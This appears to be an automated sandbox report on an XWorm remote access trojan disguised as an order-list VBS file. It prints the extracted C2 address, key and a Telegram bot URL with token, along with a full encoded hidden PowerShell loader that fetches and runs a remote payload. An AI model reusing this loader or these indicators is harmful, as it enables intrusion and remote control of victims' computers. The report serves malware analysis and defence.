Analysis
- max time kernel
150s - max time network
141s - platform
windows11-21h2_x64 - resource
win11-20251231-en - resource tags
- submitted
15/01/2026, 07:57
General
- Target Samples and order list_986757x.vbs
- Size 1.4MB
- Sample260115-jtkd2agz4e
- SHA256 a65762b80a0786fc118a3ac10cc3d3cad0b3772694e85945ef03d8adf8fefc8b
Malware Config
Extracted
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xworm
-
5.0
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103.83.86.27:3612
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vDxrgwgM9KPO23FH
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install_file
USB.exe
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telegram
https://api.telegram.org/bot8245777519:AAG5-WI0QBx284ztmox7rDowPcKbk8wEqEg/sendMessage?chat_id=7422354940
Signatures
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Samples and order list_986757x.vbs"1⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JAByAGUAYwBvAG4AbgBvAGkAdABlAHIAZQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAZQBjAG8AbgBuAG8AaQB0AGUAcgBlAGQALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAFUAcwBlAHIALQBBAGcAZQBuAHQAIgAsACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIgApADsAJAByAGUAYwBvAG4AbgBvAGkAdABlAHIAZQBkAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAcgBlAGMAbwBuAG4AbwBpAHQAZQByAGUAZAAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQQBjAGMAZQBwAHQALQBMAGEAbgBnAHUAYQBnAGUAIgAsACAAIgBlAG4ALQBVAFMALABlAG4AOwBxAD0AMAAuADkAIgApADsAJABwAG8AcgBpAGYAZQByAGEAbgBzACAAPQAgACcAIwB0AHQAcABzADoALwAvAHIAZQBzAC4AYwBsAG8AdQBkAGkAbgBhAHIAeQAuAGMAbwBtAC8AZABiAGoAdAB6AHEAcAA0AHEALwBpAG0AYQBnAGUALwB1AHAAbABvAGEAZAAvAHYAMQA3ADYANwA0ADUANQAwADQAMAAvAG8AcAB0AGkAbQBpAHoAZQBkAF8ATQBTAEkAXwBsAHAAcwBkADkAcAAuAGoAcABnACcALgBSAGUAcABsAGEAYwBlACgAJwAjACcALAAgACcAaAAnACkAOwAkAGIAYQBuAGQAbwBsAGkAZQByACAAPQAgACQAcgBlAGMAbwBuAG4AbwBpAHQAZQByAGUAZAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABwAG8AcgBpAGYAZQByAGEAbgBzACkAOwAkAGIAbwB0AGEAbgBpAGMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAYQBuAGQAbwBsAGkAZQByACkAOwBpAGYAIAAoACQAYgBvAHQAYQBuAGkAYwAgAC0AbQBhAHQAYwBoACAAJwBCAGEAcwBlAFMAdABhAHIAdAAtACgALgAqAD8AKQAtAEIAYQBzAGUARQBuAGQAJwApACAAewAgACAAJAB4AGUAcgBvAHMAdABvAG0AYQAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABjAGgAdQByAGMAaABsAGUAcwBzACAAPQAgAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHgAZQByAG8AcwB0AG8AbQBhACkAKQA7ACAAIAAkAGEAcgBnAHMAQgBhAHMAZQA2ADQAIAA9ACAAJwBKAHcAQQA5AEEARAAwAEEAUQBRAEIAawBBAEQAUQBBAFUAZwBCAHUAQQBFAHcAQQBjAHcAQgA0AEEARgBjAEEAWQBRAEEAegBBAEYAbwBBAGEAZwBCAE4AQQBIAGMAQQBTAFEAQgBVAEEARwBJAEEAZQBRAEEANQBBAEQASQBBAFoAQQBBADAAQQBGAFkAQQBXAEEAQgBsAEEASABZAEEAVABRAEIASQBBAEcASQBBAGEAQQBCAFcAQQBFAGMAQQBXAGcAQgAyAEEARwBzAEEAUgBBAEIAUABBAEgAZwBBAE4AQQBCAEQAQQBFADQAQQBOAEEAQQAwAEEARgBNAEEAVABRAEIANQBBAEUAVQBBAGEAZwBCAE0AQQBEAE0AQQBaAHcAQgA2AEEARQB3AEEAZABnAEIAdgBBAEUAUQBBAFkAdwBBAHcAQQBGAEkAQQBTAEEAQgBoAEEAQwBjAEEATABBAEEAbgBBAEMAYwBBAEwAQQBBAG4AQQBFAE0AQQBPAGcAQgBjAEEARgBVAEEAYwB3AEIAbABBAEgASQBBAGMAdwBCAGMAQQBGAEEAQQBkAFEAQgBpAEEARwB3AEEAYQBRAEIAagBBAEYAdwBBAFIAQQBCAHYAQQBIAGMAQQBiAGcAQgBzAEEARwA4AEEAWQBRAEIAawBBAEgATQBBAFgAQQBBAG4AQQBDAHcAQQBKAHcAQgBPAEEARwBFAEEAYgBRAEIAbABBAEYAOABBAFIAZwBCAHAAQQBHAHcAQQBaAFEAQQBuAEEAQwB3AEEASgB3AEIATgBBAEgATQBBAFkAZwBCADEAQQBHAGsAQQBiAEEAQgBrAEEAQwBjAEEATABBAEEAbgBBAEMAYwBBAEwAQQBBAG4AQQBFADAAQQBjAHcAQgBpAEEASABVAEEAYQBRAEIAcwBBAEcAUQBBAEoAdwBBAHMAQQBDAGMAQQBKAHcAQQBzAEEAQwBjAEEAVgBRAEIAUwBBAEUAdwBBAEoAdwBBAHMAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVgBRAEIAegBBAEcAVQBBAGMAZwBCAHoAQQBGAHcAQQBVAEEAQgAxAEEARwBJAEEAYgBBAEIAcABBAEcATQBBAFgAQQBCAEUAQQBHADgAQQBkAHcAQgB1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAGMAdwBCAGMAQQBDAGMAQQBMAEEAQQBuAEEARQA0AEEAWQBRAEIAdABBAEcAVQBBAFgAdwBCAEcAQQBHAGsAQQBiAEEAQgBsAEEAQwBjAEEATABBAEEAbgBBAEgAWQBBAFkAZwBCAHoAQQBDAGMAQQBMAEEAQQBuAEEARABFAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBWAEEAQgBoAEEASABNAEEAYQB3AEIAZgBBAEUANABBAFkAUQBCAHQAQQBHAFUAQQBKAHcAQQBzAEEAQwBjAEEATQBBAEEAbgBBAEMAdwBBAEoAdwBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQwB3AEEASgB3AEEAbgBBAEEAPQA9ACcAOwAgACAAJABhAHIAZwBzAFMAdAByAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGEAcgBnAHMAQgBhAHMAZQA2ADQAKQApADsAIAAgACQAYQByAGcAcwAgAD0AIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAAtAHMAcABsAGkAdAAgACcALAAnACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBUAHIAaQBtACgAJwAnACcAIgAnACAAKQAgAH0AOwAgACAAWwBTAG8AZgB0AHcAYQByAGUALgBQAHIAbwBnAHIAYQBtAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACIATQBhAGkAbgAiACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABhAHIAZwBzACkAOwB9AA==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\MSBuild.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_1fcb3558ba504fa9ae4a77e13a08cc4e.cs"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7980.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC85CADF0980DC40E1AC999B41C954DEAB.TMP"4⤵
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-
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C:\Users\Admin\AppData\Local\Temp\MSBuild.exe"C:\Users\Admin\AppData\Local\Temp\MSBuild.exe" 49723⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
MSBuild.exe
RES7980.tmp
__PSScriptPolicyTest_3dyb2vwj.kla.ps1
CSC85CADF0980DC40E1AC999B41C954DEAB.TMP
guardian_src_1fcb3558ba504fa9ae4a77e13a08cc4e.cs
memory/432-35-0x0000000000940000-0x0000000000948000-memory.dmp
memory/4956-0-0x000002AD42360000-0x000002AD42370000-memory.dmp
memory/4956-6-0x000002AD42320000-0x000002AD42342000-memory.dmp
memory/4956-8-0x000002AD42360000-0x000002AD42370000-memory.dmp
memory/4956-9-0x000002AD5BC60000-0x000002AD5BCD0000-memory.dmp
memory/4972-17-0x0000000005890000-0x0000000005922000-memory.dmp
memory/4972-18-0x0000000005CC0000-0x0000000005CCA000-memory.dmp
memory/4972-19-0x0000000005710000-0x0000000005720000-memory.dmp
memory/4972-16-0x0000000005720000-0x0000000005786000-memory.dmp
memory/4972-23-0x0000000008A10000-0x0000000008A16000-memory.dmp
memory/4972-22-0x00000000089E0000-0x0000000008A14000-memory.dmp
memory/4972-21-0x0000000009920000-0x000000000A81A000-memory.dmp
memory/4972-20-0x0000000008820000-0x000000000889C000-memory.dmp
memory/4972-15-0x0000000005CD0000-0x0000000006276000-memory.dmp
memory/4972-14-0x0000000005710000-0x0000000005720000-memory.dmp
memory/4972-13-0x0000000005490000-0x000000000552C000-memory.dmp
memory/4972-10-0x0000000000400000-0x0000000000410000-memory.dmp